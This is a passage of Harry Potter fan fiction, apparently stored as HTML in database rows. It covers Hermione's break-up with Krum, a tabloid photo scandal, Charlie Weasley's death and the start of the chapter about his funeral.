now.&#8221;</p>\n\n<p>Krum then grabbed Hermione and kissed her fully on the mouth.&nbsp; Harry felt his anger rising and he was about to attack Krum when Professor Figg gripped his wrist that was holding his wand.&nbsp; Just then Hermione broke the kiss and slapped him hard on the cheek.</p>\n\n<p>&#8220;How dare you!&#8221; she snapped.</p>\n\n<p>&#8220;I thought I deserved at least a kiss from you for coming all zis vay.&nbsp; And for your lying to me all zis time.&#8221;</p>\n\n<p>Her cheeks were flushing with anger.&nbsp; &#8220;I never lied to you!&nbsp; I never told you that I loved you or even that I cared for you.&#8221;<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You visited me last summer.&#8221;</p>\n\n<p>&#8220;At your invitation!&nbsp; You kept saying how you never felt this way with any girl before.&nbsp; It made me feel like I had to get to know you better since you liked me so much.&nbsp; Instead, it wound up just being a nice trip to Eastern Europe with my parents.&nbsp; Seeing you was awkward, not romantic.&nbsp; And then you started showering me with expensive gifts.&nbsp; I started to feel that you were trying to buy my affection.&nbsp;&nbsp; You can&#8217;t buy love,&#8221; she spat.&nbsp; &#8220;Here&#8217;s your jewellery back.&#8221;</p>\n\n<p>She took the ring off her hand and practically threw it in his hands.&nbsp; She then reached into her pocket and handed him a box that held the pearl necklace and earrings. </p>\n\n<p>&#8220;And I don&#8217;t appreciate anyone trying to control me.&nbsp; <i>I am my own person.</i>&nbsp; And I will not have anyone tell me who I can or cannot be friends with.&#8221;</p>\n\n<p>&#8220;Very vell, I shall go.&nbsp;&nbsp; Here&#8217;s your flowers,&#8221; he sneered as he threw the shredded stems and petals on the ground.</p>\n\n<p>Hermione heaved a heavy sigh as she saw him walk away and then Disapparate.&nbsp; Harry slid out from under the Invisibility Cloak and sat down next to her.&nbsp; She looked up at him and then her eyes started to well up with tears.&nbsp; He embraced her and gently stroked her hair as she sobbed on his shoulder.</p>\n\n<p>*</p>\n\n<p>Later, Harry was in the common room waiting for Ron and the other students to return.&nbsp; Ron came in laughing and carrying on with Dean and Seamus, Harry motioned him over to the chess table.</p>\n\n<p>&#8220;Umm Harry, where were you?&#8221; Ron sniffed.&nbsp; &#8220;I thought you were going to join us at the Three Broomsticks.&#8221;</p>\n\n<p>&#8220;Er, I know, but I wound up helping Hermione instead,&#8221; he blinked.&nbsp; &#8220;She&#8217;s feeling pretty bad right now.&nbsp; You need to think about what you&#8217;re going to say to her and try to not say something stupid that might upset her further.&#8221;</p>\n\n<p>Ron sat down and had a worried look on his face.&nbsp; &#8220;What happened?&#8221;</p>\n\n<p>&#8220;She broke up with Krum and he took it badly.&#8221;</p>\n\n<p>&#8220;Well it&#8217;s about time, she should never have gone out with him to begin with.&#8221;</p>\n\n<p>&#8220;That&#8217;s the kind of thing I was afraid you&#8217;d say,&#8221; said Harry.&nbsp; &#8220;Look, she went out with him because she liked having a guy pay attention to her.&#8221;</p>\n\n<p>&#8220;<i>We</i> pay attention to her.&#8221;</p>\n\n<p>&#8220;Yeah, we ask for her help in classes and we share all of our adventures together, but neither one of us has ever tried to hold her hand or kiss her.&nbsp; You know, treat her like <i>a</i>\n\n<i>girl</i>,&#8221; said Harry.</p>\n\n<p>&#8220;Well, she&#8217;s, she&#8217;s&#8230;Hermione,&#8221; stammered Ron.</p>\n\n<p>&#8220;And she has the same feelings that any fifteen-year old girl has.&nbsp; She liked the idea that someone saw something special in her.&nbsp; The problem was that she didn&#8217;t feel the same way towards him.&nbsp; That&#8217;s why she broke up with him.&nbsp; Anyway, she&#8217;s upstairs and I doubt she&#8217;ll come down for dinner tonight.&nbsp; I just wanted you to know so you can think about what you want to say to her.&#8221;</p>\n\n<p>&#8220;Do you think she wants me to kiss her or something?&#8221; asked Ron.</p>\n\n<p>&#8220;Don&#8217;t be a prat.&nbsp; She&#8217;s hurting right now and needs her friends around her to support her.&nbsp;&nbsp; She might be interested in you, but now wouldn&#8217;t be the time.&nbsp; Why don&#8217;t you take the stuff you bought today upstairs and then we&#8217;ll go to dinner,&#8221; said Harry.</p>\n\n<p>Ron started to eye him warily, &#8220;Tell me Harry, since when did you learn so much about girls?&#8221; </p>\n\n<p>&#8220;I had a long talk with Snuffles.&nbsp; He knows a lot about women.&#8221;</p>\n\n<p>&#8220;Yeah, I bet he does,&#8221; muttered Ron.</p>\n\n<p>*</p>\n\n<p>News of Hermione breaking up with Krum spread like wildfire throughout the school.&nbsp; The next day was Sunday and at mealtimes Hermione was subjected to stares and whispers by many of the older female classmates.&nbsp; A couple of girls actually came up to her and told her what a fool she was to break up with him.&nbsp; Hermione tried her best to ignore it all and to keep her head held high. </p>\n\n<p>The next day however brought the news of the Granger-Krum breakup along with rumours of a Granger-Potter relationship to the entire Wizarding World.&nbsp; <i>The Daily Prophet</i> had put the story on their front page along with a picture that had been sold to them by an enterprising young photo developer.&nbsp; The Christmas picture where Harry and Hermione were arm and arm was gracing the front page.</p>\n\n<p>&#8220;Potter!&nbsp; <i>How was the view?</i>&#8221; asked Malfoy as the Slytherin table roared with laughter.</p>\n\n<p>Harry was puzzled by that remark until he got his own copy of the daily paper and recognized the picture on the front page.&nbsp; His face went scarlet.</p>\n\n<p>&#8220;What is it, Harry?&#8221; asked Hermione.</p>\n\n<p>He didn&#8217;t want to show it to her, but he knew that she would eventually see it.&nbsp; He pushed the paper over to her side of the table and as she looked at the picture her eyes grew wide.</p>\n\n<p>&#8220;I thought you said that picture didn&#8217;t come out?&#8221; she said horrified.</p>\n\n<p>&#8220;I am so sorry,&#8221; Harry said softly as he lowered his eyes.</p>\n\n<p>&#8220;He&#8217;s smiling, he&#8217;s smiling and then he turns his head to check out her chest.&nbsp; He turns his head and he&#8217;s smiling, he&#8217;s smiling&#8230;&#8221; Draco drawled as if he were doing play-by-play announcements.</p>\n\n<p>&#8220;Ooooh, if it isn&#8217;t the little love birds,&#8221; taunted Pansy Parkinson as she walked by the table.&nbsp; &#8220;I can&#8217;t believe that Viktor Krum ever went out with the likes of you.&nbsp; And for you to be seen in Hogsmeade right after you broke up with him, embracing Potter in public.&nbsp; You ought to be ashamed of yourself.&nbsp; And you, Harry Potter, are a lech!&#8221;</p>\n\n<p>Hermione quickly left the table with her meal half finished.&nbsp; Harry looked at his own plate and realized that he also had lost his appetite.</p>\n\n<p>&#8220;You were embracing her?&#8221; Ron asked.</p>\n\n<p>Harry shook his head.&nbsp; &#8220;She was sobbing, I let her cry on my shoulder.&nbsp; This rag makes it sound like we were snogging in the village square.&nbsp; I was just being a friend to her.&#8221;</p>\n\n<p>Ron nodded and looked at Harry with a low smile.&nbsp; &#8220;I suppose you, ah, shouldn&#8217;t have sent that roll of film out to be developed.&#8221; </p>\n\n<p>&#8220;Yeah,&#8221; Harry said with his hands covering his face.</p>\n\n<p>&#8220;I can&#8217;t blame you there, mate.&nbsp; I think if I saw her in that dress, I&#8217;d have the same reaction,&#8221; Ron said quietly.</p>\n\n<p>Harry swallowed and nodded.&nbsp; &#8220;Let&#8217;s get to class, shall we?&#8221;</p>\n\n<p>The laughter in the school regarding that photo lasted for days.&nbsp; It seemed that everywhere Harry went he was greeted with sly smiles, laughter and teasing.&nbsp; The Weasley twins were merciless in their verbal taunts towards him.&nbsp; The attention had shifted from Hermione&#8217;s break up with Krum and was now focused solely on Harry&#8217;s wandering eyes.&nbsp; That is until howlers arrived a few days later from Viktor Krum&#8217;s mother addressed to both Harry and Hermione.&nbsp; Then a new wave of jokes and taunts were unleashed on both of them.&nbsp; </p>\n\n<p>That week in Potions class, Snape decided that it was time to have them study how to make wizard photo developing solutions.</p>\n\n<p>&#8220;Perhaps, it would be wise if everyone learned how to develop their own photographs,&#8221; Snape said coolly.&nbsp; &#8220;Then again, maybe our little celebrities <i>like</i> seeing their pictures in the tabloids.&#8221;</p>\n\n<p>Harry tried his best to keep his face impassive as the Slytherins roared with laughter once again over his embarrassment.&nbsp; Hermione no longer looked embarrassed by this.&nbsp; That&#8217;s because she had begun to act as if none of this were happening.&nbsp; She held her head high and ignored everything, including Harry.</p>\n\n<p>By Friday, it was Ron&#8217;s birthday and Hermione had not talked with either Ron or Harry all week.&nbsp; She silently handed her gift to Ron and then turned to walk up the stairway to the girls&#8217; dormitories.&nbsp; Harry couldn&#8217;t stand it any longer and followed her up the narrow stairway.&nbsp; </p>\n\n<p>&#8220;Hermione, wait!&#8221;</p>\n\n<p>&#8220;What is it, Harry?&#8221; she asked sounding irritated.</p>\n\n<p>&#8220;I&#8217;m really, really sorry Hermione.&nbsp; I would never do anything to hurt you and I feel so bad about this,&#8221; he said softly.&nbsp; &#8220;I&#8217;m sorry I embarrassed you.&#8221; </p>\n\n<p>She looked at him with a blank expression on her face.</p>\n\n<p>He looked down at his shoes.&nbsp; &#8220;I&#8217;m sorry, Hermione.&nbsp; You were standing right there and&#8230;you looked so beautiful in that dress.&nbsp; I couldn&#8217;t help looking.&nbsp; I&#8217;m a guy,&#8221; Harry said with a sheepish grin.</p>\n\n<p>Hermione then gave Harry a look that he couldn&#8217;t quite figure out.&nbsp; He didn&#8217;t know if she was flattered by his attention, disturbed by it or some combination thereof.</p>\n\n<p>&#8220;Are we still friends?&#8221; Harry asked.</p>\n\n<p>&#8220;Of course we are,&#8221; she said sounding wounded.&nbsp; &#8220;It&#8217;s just been&#8230;really hard this last week.&#8221;</p>\n\n<p>&#8220;Come on downstairs, Hermione.&nbsp; It&#8217;s Ron&#8217;s birthday,&#8221; he pleaded.&nbsp; &#8220;His mum sent a cake and it looks really yummy.&#8221;</p>\n\n<p>&#8220;Oh all right,&#8221; she said giving in.</p>\n\n<p>As they entered the common room together, Fred looked up and got a devilish grin on his face.&nbsp; &#8220;Sooo, we have the famous couple joining us.&nbsp; Can I take a <i>picture</i> of you two?&#8221;</p>\n\n<p>&#8220;Knock it off, Fred!&#8221; Harry said firmly.</p>\n\n<p>&#8220;Oh come on, Harry.&nbsp; We&#8217;re just having a little fun,&#8221; George protested.</p>\n\n<p>&#8220;Well, you&#8217;ve had your fun.&nbsp; It&#8217;s time to drop it.&#8221;</p>\n\n<p>&#8220;I don&#8217;t know Harry&#8230;&#8221; Fred said with a leer directed at Hermione.</p>\n\n<p>&#8220;You know Fred,&#8221; Harry started with a sly smile.&nbsp; &#8220;I was thinking about how much the Creevey brothers have improved since the beginning of the season.&nbsp; I am considering having them suit up for the next game and not make them have to wait until next year to become starting Beaters.&#8221;</p>\n\n<p>Fred and George sobered up immediately.</p>\n\n<p>&#8220;All right Captain.&nbsp; The subject is dropped,&#8221; said Fred.</p>\n\n<p>&#8220;Good.&nbsp; Now, Ron what gifts did you get?&#8221; asked Harry.</p>\n\n<p>Ron handed both Harry and Hermione some cake.</p>\n\n<p>&#8220;Smooth move there, Harry.&nbsp; About time someone cut them down to size,&#8221; Ron said admiringly.&nbsp; &#8220;Oh and thanks for the robe clasp.&#8221;</p>\n\n<p>&#8220;You&#8217;re welcome.&nbsp; I knew you liked mine.&#8221;</p>\n\n<p>&#8220;Thanks for the book, Hermione.&#8221;</p>\n\n<p>&#8220;What book did you give him?&#8221; asked Harry.</p>\n\n<p>&#8220;It&#8217;s one on the Royal Family.&#8221;</p>\n\n<p>Ron picked up the hardbound book and pointed at the cover.&nbsp; &#8220;Who&#8217;s that?&#8221;</p>\n\n<p>&#8220;That&#8217;s Princess Diana.&#8221;</p>\n\n<p>&#8220;She&#8217;s gorgeous!&#8221; Ron said with his jaw wide open.</p>\n\n<p>&#8220;Exactly.&nbsp; She&#8217;s probably the most photographed woman in the world.&nbsp; I still find it hard to believe that you didn&#8217;t know who she was.&nbsp; Come sit down on the couch and I&#8217;ll tell you who everyone is.&#8221;</p>\n\n<p>Ron started to page through the book and Hermione filled him in on gossip about the Queen, the Queen Mum and all the royals.</p>\n\n<p>&#8220;That&#8217;s Prince William and Prince Harry,&#8221; she said pointing out the young boys.</p>\n\n<p>&#8220;<i>Prince Harry</i>, huh?&#8221; Ron said jokingly as he looked at his friend of the same name.</p>\n\n<p>&#8220;Oh yeah, growing up with the Dursleys was just like growing up in Buckingham Palace,&#8221; Harry said drolly.</p>\n\n<p>&#8220;Hmm, how about your brother, <i>Prince William?</i>&nbsp; Did your mum and dad treat him like a <i>royal</i> growing up?&#8221; Hermione teased.</p>\n\n<p>&#8220;His name isn&#8217;t William,&#8221; Ron said.&nbsp; &#8220;Bill is actually short for Bilius.&nbsp; He was named after my dad&#8217;s brother.&#8221;</p>\n\n<p>&#8220;Bilius?&nbsp; Yuck.&nbsp; I see why everyone calls him Bill,&#8221; said Harry.</p>\n\n<p>Ron nodded and then started looking at the book again, &#8220;Who&#8217;s that with the big ears?&#8221;</p>\n\n<p>&#8220;That&#8217;s Prince Charles.&nbsp; He&#8217;s Princess Diana&#8217;s husband.&nbsp; Except they&#8217;ve been separated for about three years now.&nbsp; It looks like they&#8217;re going to get divorced.&#8221;</p>\n\n<p>&#8220;Divorced?&#8221; Ron said sounding shocked.&nbsp; &#8220;Why would he want to divorce someone who looks like her?&#8221;</p>\n\n<p>&#8220;Well, I don&#8217;t think he ever loved her,&#8221; explained Hermione.&nbsp; &#8220;He was pressured into finding someone suitable and Lady Diana Spencer fit the bill.&nbsp; Prince Charles never got over being in love with Camilla Parker-Bowles.&#8221; </p>\n\n<p>&#8220;Is there a picture of her in here?&#8221;</p>\n\n<p>&#8220;No, but she&#8217;s not much to look at either.&nbsp; Compared to Diana she&#8217;s a frumpy old bat, but Charles is in love with her.&#8221;</p>\n\n<p>&#8220;Why?&nbsp; When he&#8217;s got someone that looks like Diana does at home?&#8221; Ron asked.</p>\n\n<p>&#8220;Maybe because Charles loves Camilla for more than her looks.&nbsp; I mean Diana is beautiful, but she&#8217;s never been accused of being a great intellect.&#8221;</p>\n\n<p>Ron just sat there shaking his head and staring at the beautiful blonde in the photograph.</p>\n\n<p>*</p>\n\n<p>Two weeks later, Harry woke up when he heard a scream.&nbsp; Ron had sat bolt upright and he was panting.&nbsp; </p>\n\n<p>&#8220;Are you all right?&#8221; Harry asked.</p>\n\n<p>Ron shook his head as he was trying to catch his breath.&nbsp; &#8220;No.&nbsp; I had a bad dream.&nbsp; It was strange.&nbsp; It didn&#8217;t feel like a normal dream.&nbsp; It felt more like a premonition.&#8221;</p>\n\n<p>Harry put on his glasses and looked carefully at his friend.</p>\n\n<p>&#8220;Tell me about it.&#8221;</p>\n\n<p>&#8220;I saw Charlie.&nbsp; He was in trouble.&nbsp; I saw fire and then I heard him scream.&nbsp; Then silence and darkness.&nbsp; I don&#8217;t know what I should do.&#8221;</p>\n\n<p>&#8220;Do you want to write to him?&#8221; Harry asked.</p>\n\n<p>&#8220;I don&#8217;t think there&#8217;s time.&nbsp; It takes an owl several days to get to Romania.&nbsp; I have the feeling that&#8217;s he&#8217;s in danger -- right now,&#8221; Ron said.</p>\n\n<p>&#8220;Could you try calling him by fire?&#8221;</p>\n\n<p>&#8220;No, the Floo network doesn&#8217;t extend to other countries.&nbsp; But maybe my dad could get a hold of him through the Ministry.&#8221;</p>\n\n<p>&#8220;Do you want to go to McGonagall and see if she&#8217;ll let you use her fire?&#8221; Harry suggested.</p>\n\n<p>&#8220;Are you kidding?&nbsp; Over a dream?&#8221;&nbsp; Ron gave a hollow laugh.&nbsp; &#8220;She&#8217;d scoff at me.&nbsp; No, we&#8217;ve got Divination this morning.&nbsp; Trelawney will just eat it up if I tell her.&#8221;</p>\n\n<p>&#8220;Hey you two, would you keep it down?&#8221; Seamus growled.&nbsp; &#8220;I&#8217;m trying to sleep.&nbsp; If you want to talk take it downstairs.&#8221;</p>\n\n<p>Harry looked at his watch, it read 5:03 am.&nbsp; It was still early and he would have liked to have gotten more sleep, but he looked at Ron&#8217;s face and knew that he needed to talk.&nbsp; </p>\n\n<p>&#8220;Come on, let&#8217;s go downstairs for a bit,&#8221; Harry whispered.</p>\n\n<p>They went to the common room and talked about what to say to his parents. &nbsp;At first Ron had also wanted to call his mum, but after thinking about it decided against it.&nbsp; She was forever having bad dreams about Charlie and Bill ever since they started working abroad.&nbsp; She never liked where they were working and it was a constant source of worry for her.&nbsp; No, Ron didn&#8217;t want to add to her anxiety.&nbsp; He&#8217;d simply try and contact his father.</p>\n\n<p>When Ron spoke up in Trelawney&#8217;s class and told her that he had a premonition, she shivered with excitement.&nbsp; </p>\n\n<p>&#8220;Tell the class what you saw.&#8221;</p>\n\n<p>&#8220;Umm, I saw my older brother Charlie and fire.&nbsp; Then I heard screams and then silence and darkness.&#8221;</p>\n\n<p>&#8220;A premonition of Death!&nbsp; Ron you may have the Sight,&#8221; she said with awe.</p>\n\n<p>&#8220;Could I use your fire and try to contact my father?&nbsp; See if he can get in touch with Charlie?&nbsp; Maybe warn him not to go to work today?&#8221;</p>\n\n<p>&#8220;Certainly.&nbsp; One can <i>try</i> to change Fate.&nbsp; Although I must warn you, it is rarely successful.&nbsp; Such is the burden of being blessed with the Inner Eye,&#8221; she said as she brought down a flowerpot with floo powder.&nbsp; &#8220;Here, Mr. Weasley, call your father.&#8221;</p>\n\n<p>Ron steadied himself as he threw a pinchful of powder into the flames and called his father.&nbsp; A few moments passed by until Arthur Weasley&#8217;s head appeared in the flames.</p>\n\n<p>&#8220;Ron?&#8221; he asked.&nbsp; &#8220;This is a surprise.&nbsp; What can I do for you?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dad, I had a bad dream this morning.&nbsp; It was about Charlie.&#8221;</p>\n\n<p>&#8220;Charlie?&#8221; Mr. Weasley said with dread.&nbsp; &#8220;What did you see?&#8221;</p>\n\n<p>&#8220;Not much Dad.&nbsp; It was more of a feeling than anything.&nbsp; I sensed he was in great danger.&nbsp; I saw fire and heard some screams.&nbsp; That&#8217;s all.&nbsp; I&#8217;m a little worried.&nbsp; I&#8217;ve never had a dream like that before.&nbsp; Maybe you could try contacting him, just to see how he&#8217;s doing?&#8221;</p>\n\n<p>&#8220;Did you see anyone else in your dream?&#8221;</p>\n\n<p>&#8220;No, just Charlie.&#8221;</p>\n\n<p>&#8220;Okay.&nbsp; I&#8217;ll see what I can do.&nbsp; Thank you Ron.&nbsp; I&#8217;ll send you an owl when I know anything,&#8221; Mr. Weasley said as he ended the conversation.</p>\n\n<p>Trelawney then went pale.&nbsp; &#8220;It&#8217;s the Ides of March!&#8221;</p>\n\n<p>&#8220;What?&#8221; asked Ron.</p>\n\n<p>&#8220;This is a very bad day to be having Death Omens,&#8221; she said gravely.</p>\n\n<p>She then spent the rest of the class talking about Death Omens and premonitions.&nbsp; Harry did his best to ignore the growing uneasy feeling in his stomach.</p>\n\n<p>After dinner that night, Harry had turned his mind to other things and was going over his latest essay for the History of Magic class with Hermione in the common room when they heard raucous laughter outside the portrait hole.&nbsp; It grew louder as Dean, Fred, and George came through laughing their heads off.&nbsp; Ron soon followed and was glowering at them.</p>\n\n<p>&#8220;What&#8217;s so funny?&#8221; Harry asked.</p>\n\n<p>The three guys looked at each other, then at Ron and they burst out laughing once again.</p>\n\n<p>Fred tried to calm himself enough to talk but his words came through between bursts of laughter.&nbsp; &#8220;Ron was trying the old &#8216;put on your cloak move&#8217;&#8230;where your hand goes up in the air while you&#8217;re going up the stairs&#8230;and it just <i>happens</i> to land it on a girl&#8217;s chest as she&#8217;s coming down the stairs&#8230;.we were walking up the stairs&#8230;he tried to put his hand&#8230;on Parvati&#8230;and he got &#8211; &#8221;</p>\n\n<p>&#8220;He got Millicent Bulstrode instead!&#8221; George roared.&nbsp; &#8220;She hauled off and clocked him!&#8221;</p>\n\n<p>Ron&#8217;s face was scarlet.</p>\n\n<p>&#8220;That was the first time that any guy had ever laid a hand on Bulstrode the Barge!&#8221; Dean bellowed.</p>\n\n<p>Harry looked over at Hermione and saw she was fuming.&nbsp; He tried to suppress a laugh but couldn&#8217;t.</p>\n\n<p>&#8220;Dean!&nbsp; That&#8217;s mean,&#8221; she snapped.</p>\n\n<p>&#8220;Yeah, well you tell me <i>one nice thing</i> Millie has ever said or done towards you in the last five years,&#8221; he responded.</p>\n\n<p>&#8220;That&#8217;s not the point Dean!&nbsp; Making fun of her because of her looks is sexist.&nbsp; I expected more from you,&#8221; she said angrily.</p>\n\n<p>&#8220;Oh come off it, Hermione.&nbsp; I don&#8217;t hate Millicent Bulstrode because she&#8217;s got the face of a bulldog and a body like a Mack truck.&nbsp; I hate her because she&#8217;s mean, vicious and spiteful.&nbsp; I don&#8217;t know anyone guy that would find that combination attractive.&nbsp; Come to think of it, I don&#8217;t know <i>any girl</i> that would find that attractive either.&#8221;</p>\n\n<p>Hermione scowled at Dean and then turned looking angrily at Ron.&nbsp; &#8220;<i>And you!</i>&nbsp; What were you doing?&nbsp; Thinking you could just put your hand on Parvati like that.&nbsp; At least Harry only tried to look.&nbsp; He didn&#8217;t try to cop a feel!&#8221;</p>\n\n<p>&#8220;Don&#8217;t worry Hermione,&#8221; said George.&nbsp; &#8220;Bulstrode taught him a lesson.&nbsp; I doubt he&#8217;ll try that trick again any time soon.&#8221;</p>\n\n<p>Fred put his arm around Ron&#8217;s shoulders.&nbsp; &#8220;So Ron, you never told us, we know she&#8217;s a Keeper, but <i>just how did it feel?</i>&#8221;</p>\n\n<p>Ron&#8217;s face went purple and he was just about to say something nasty in return when the portrait swung open.&nbsp; Professor McGonagall walked in and looked gravely serious.</p>\n\n<p>&#8220;Professor&#8230;I-I didn&#8217;t mean to &#8211; &#8221; Ron stammered.</p>\n\n<p>Then Ginny appeared behind McGonagall, tears streaming down her face.</p>\n\n<p>&#8220;It&#8217;s Charlie&#8230;&#8221; Ginny began, her lips trembling.&nbsp; &#8220;He&#8217;s dead.&#8221;</p>\n\n<p>**</p>\n\n<p>End notes:&nbsp; Please don&#8217;t stop reading now.&nbsp; You need to find out why I did this.&nbsp; It wasn&#8217;t just to be cruel.&nbsp; There is a Big Dark Secret in the Weasley Family and the most dramatic way that I could think of to bring it out was to have a funeral.&nbsp; You should have seen this coming as I foreshadowed it in Chapter Eight.&nbsp; The next chapter explains everything and all the Death Omens that you might have missed.&nbsp; Please continue as it is my first of three Dark Secrets revealed from canon. </p> '),
	(260, 11, ' <p>Disclaimer:&nbsp; This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc.&nbsp; No money is being made and no copyright or trademark infringement is intended.&nbsp; The poem &quot;O Living Will that Shall Endure&quot; by Alfred, Lord Tennyson is in the public domain.</p>\n\n<p>Author notes: Thanks once again to Cara Hicks and Ama for beta reading and for making some wonderful suggestions to this chapter.</p>\n\n<p>Rating:&nbsp; R &#8211; for adult themes and sexual intimacy</p>\n\n<p>Chapter Eleven &#8211; The Weasley Family Secret</p>\n\n<p>Ron looked at his sister in disbelief.</p>\n\n<p>&#8220;No,&#8221; he said shaking his head.&nbsp; &#8220;No.&nbsp; Charlie is not dead.&#8221;</p>\n\n<p>Ginny stumbled into his arms.&nbsp; Ron&#8217;s eyes filled with tears as he held his sobbing sister.</p>\n\n<p>&#8220;What happened?&#8221; George asked Professor McGonagall.</p>\n\n<p>Her face showed a pain that Harry had never seen before. </p>\n\n<p>&#8220;There was an accident.&nbsp; One of the dragons he was working with became wounded.&nbsp; Charlie tried to help the poor beast and then&#8230;&#8221; Professor McGonagall blew her nose.&nbsp; &#8220;And then the dragon turned on him.&nbsp; He was burned to death.&#8221;</p>\n\n<p>&#8220;NOOOOOOO!&#8221; Ron yelled.&nbsp; His hands were balled into fists and Ginny backed away from him in fear.</p>\n\n<p>&#8220;I&#8217;m so dreadfully sorry,&#8221; Professor McGonagall said.&nbsp; &#8220;Your parents will be here in the morning to take you home.&nbsp; They asked that you stay here tonight as they are extremely busy overseeing the details.&#8221;</p>\n\n<p><i>Details for a funeral,</i> Harry thought darkly.</p>\n\n<p>Ginny sat down on the couch and buried her face in her hands.&nbsp; Hermione moved to sit next to Ginny and put an arm around her.&nbsp; Fred and George looked lost.&nbsp; They didn&#8217;t seem to know what to say or what to do.&nbsp; </p>\n\n<p>Ron was sitting on the edge of a couch, muttering to himself.&nbsp; &#8220;Thirteen for dinner&#8230;we had thirteen for dinner!&#8221;&nbsp; Ron then looked at Hermione accusingly, his face twisted in anger.</p>\n\n<p>&#8220;It&#8217;s your fault!&#8221; he called out to her. </p>\n\n<p><i>&#8220;What?&#8221;</i> Hermione said shocked at his outburst.</p>\n\n<p>&#8220;You were the one who caused us to have thirteen sit down for dinner at Christmas.&nbsp; Charlie rose first to give a toast.&nbsp; If you hadn&#8217;t insisted on Winky &#8211; &#8221;</p>\n\n<p>&#8220;You can&#8217;t possibly believe that rubbish,&#8221; said Hermione defensively.&nbsp; &#8220;Anyway, if you didn&#8217;t want thirteen at your table, you never should have invited me.&nbsp; Besides, it wasn&#8217;t thirteen <i>humans</i> sitting down to eat, because house-elves <i>aren&#8217;t human</i> as you keep reminding me.&#8221;</p>\n\n<p>&#8220;Stop it!&#8221; Ginny yelled.&nbsp; &#8220;Stop it you two.&nbsp; Charlie&#8217;s dead.&nbsp; How can you argue at a time like this?&#8221;</p>\n\n<p>&#8220;Ginny&#8217;s right,&#8221; Harry said calmly.&nbsp; &#8220;Ron, it&#8217;s nobody&#8217;s fault.&nbsp; Remember the reading you gave him at Christmas?&#8221;</p>\n\n<p>Ron nodded gravely.&nbsp; The others in the room turned and looked at Ron with great interest.</p>\n\n<p>&#8220;What did you see Ron?&#8221; asked Fred.</p>\n\n<p>&#8220;I saw a large ornate sword hanging over his head.&nbsp; Charlie just laughed at me and passed it off as him &#8211; &#8221; Ron&#8217;s voice choked, &#8220;working with dragons.&#8221;</p>\n\n<p>&#8220;The Sword of Damocles!&#8221; Hermione said in a shocked whisper.</p>\n\n<p>&#8220;What?&#8221; Ron asked.</p>\n\n<p>&#8220;The Sword of Damocles.&nbsp; It&#8217;s a story that dates back to antiquity.&nbsp; Oh Ron, that image signifies you are under the constant threat of Death,&#8221; she whispered.</p>\n\n<p>&#8220;What else did you see Ron?&#8221; George asked.</p>\n\n<p>Ron closed his eyes.&nbsp; He didn&#8217;t want to tell them.</p>\n\n<p>&#8220;Tell them Ron,&#8221; Harry urged.</p>\n\n<p>&#8220;This morning, I had a vision,&#8221; he said quietly.&nbsp; &#8220;I saw Charlie and I knew he was in trouble.&nbsp; I saw fire and then I heard him screaming and then it was silent.&#8221;</p>\n\n<p>Professor McGonagall grew pale.&nbsp; &#8220;Ronald, you&#8230;you may indeed have the Sight.&nbsp; I hope for your sake that you do not.&#8221;</p>\n\n<p>Ron looked at her puzzled, &#8220;Why?&#8221; </p>\n\n<p>&#8220;For it is both a blessing and a curse,&#8221; she said sadly.&nbsp; &#8220;And it is something that I cannot help you with.&nbsp; But right now I must go and speak with the Headmaster.&nbsp; You will of course be excused from all of your classes for the next week.&nbsp; I shall see you all in the morning.&#8221; </p>\n\n<p>A quiet pall settled over the room.&nbsp; For several minutes no one said or did anything.&nbsp; Hermione walked up cautiously to Ron and touched him lightly on the shoulder.&nbsp; He recoiled at her touch and stormed up the staircase.&nbsp; He returned a few minutes later with Harry&#8217;s Invisibility Cloak clutched in his hands.&nbsp; </p>\n\n<p>&#8220;I need to use this tonight Harry,&#8221; Ron stated flatly as he strode over to the portrait hole.</p>\n\n<p>Hermione started to follow him, but Harry held her back.&nbsp; &#8220;No.&nbsp; He needs to be alone right now.&#8221;</p>\n\n<p>She nodded and turned to Ginny who was still sitting on the couch and staring off into space.</p>\n\n<p>*</p>\n\n<p>Harry tossed and turned for hours thinking of Charlie, Ron&#8217;s visions and wondering if Charlie&#8217;s death was an accident or if it was something more.&nbsp;&nbsp; He worried that it might have something to do with Voldemort.&nbsp; Harry tried, but he couldn&#8217;t shut his mind off.&nbsp; He looked at his watch and saw that it was <st1:time minute="0" hour="4">4 am</st1:time> and Ron&#8217;s bed was still empty.&nbsp; He wrapped a blanket around himself, put on his glasses and slippers and crept quietly down the stairs.&nbsp; When he entered the common room, he saw Ron curled up on the couch in front of the fireplace.&nbsp; Harry carefully placed the blanket on his sleeping friend who was using the Invisibility Cloak for a pillow.&nbsp; At least one of us can get a little rest, he thought.</p>\n\n<p>Harry considered taking a walk outside to clear his head, but instead decided to take a long, hot shower.&nbsp; He thought of Charlie and how young and vital he had been and how cruel Fate could be.&nbsp; As he stood with the water cascading down on him, he felt his own tears finally come.&nbsp; </p>\n\n<p>*</p>\n\n<p>The morning of the funeral was overcast and gloom hung oppressively in the air.&nbsp; Those who were planning on attending the funeral were to leave on the Knight Bus.&nbsp; They had to get up extra early in the morning to walk down to Hogsmeade to catch the bus.&nbsp; The house-elves had packed breakfasts for the students to take with them on the journey.&nbsp; It seemed that almost half of Gryffindor was coming to pay their respects as well as Hagrid, Professor Figg, Professor McGonagall, and Madam Hooch.&nbsp; Harry had heard that Professor Dumbledore would be there also, but he had decided to Apparate later.&nbsp; </p>\n\n<p>Harry had ridden on the Knight Bus before and wasn&#8217;t surprised at the jerks and bangs it gave as it started and stopped.&nbsp; Some of the other students had been taken unawares by this and as they were trying to eat their breakfast, they found their morning juice spilled all over their clothes.&nbsp; Harry tried to lay back and rest and not think about what was to come that day and found that surprisingly he was able to get a few hours sleep during the trip.&nbsp; He was shaken awake by Hermione and told that they had arrived and that it was time to get up.&nbsp; As they left the Knight Bus it was clear to everyone that the Burrow was overflowing with people.</p>\n\n<p>The Weasleys had emptied their house of all the regular furniture, save for tables and chairs.&nbsp; All the chairs were occupied and the tables were pushed against the walls and were heaped with food.&nbsp; Harry looked around to see Ron and his family and had a hard time finding them through the sea of red headed people that were present.&nbsp; Harry then heard his name called and turned to see Mrs. Weasley.&nbsp; He gave her a hug, which lasted longer than he expected.&nbsp; She seemed to drawing strength from him and when the embrace ended 